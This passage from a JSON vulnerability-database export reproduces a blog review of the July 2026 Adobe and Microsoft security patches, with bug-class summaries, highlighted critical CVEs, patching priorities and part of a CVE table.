a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:04:57.898587Z"}, {"uuid": "0ba302d0-55be-4e6d-a5f1-6ecd8421f23f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54112", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  